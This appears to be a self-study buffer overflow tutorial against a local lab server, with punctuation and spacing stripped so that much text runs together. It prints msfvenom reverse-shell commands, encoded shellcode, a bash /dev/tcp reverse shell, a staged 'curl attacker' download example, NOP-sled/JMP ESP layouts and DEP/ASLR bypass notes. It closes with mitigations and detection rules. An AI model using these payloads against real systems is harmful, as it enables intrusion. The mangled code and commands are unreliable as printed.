NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

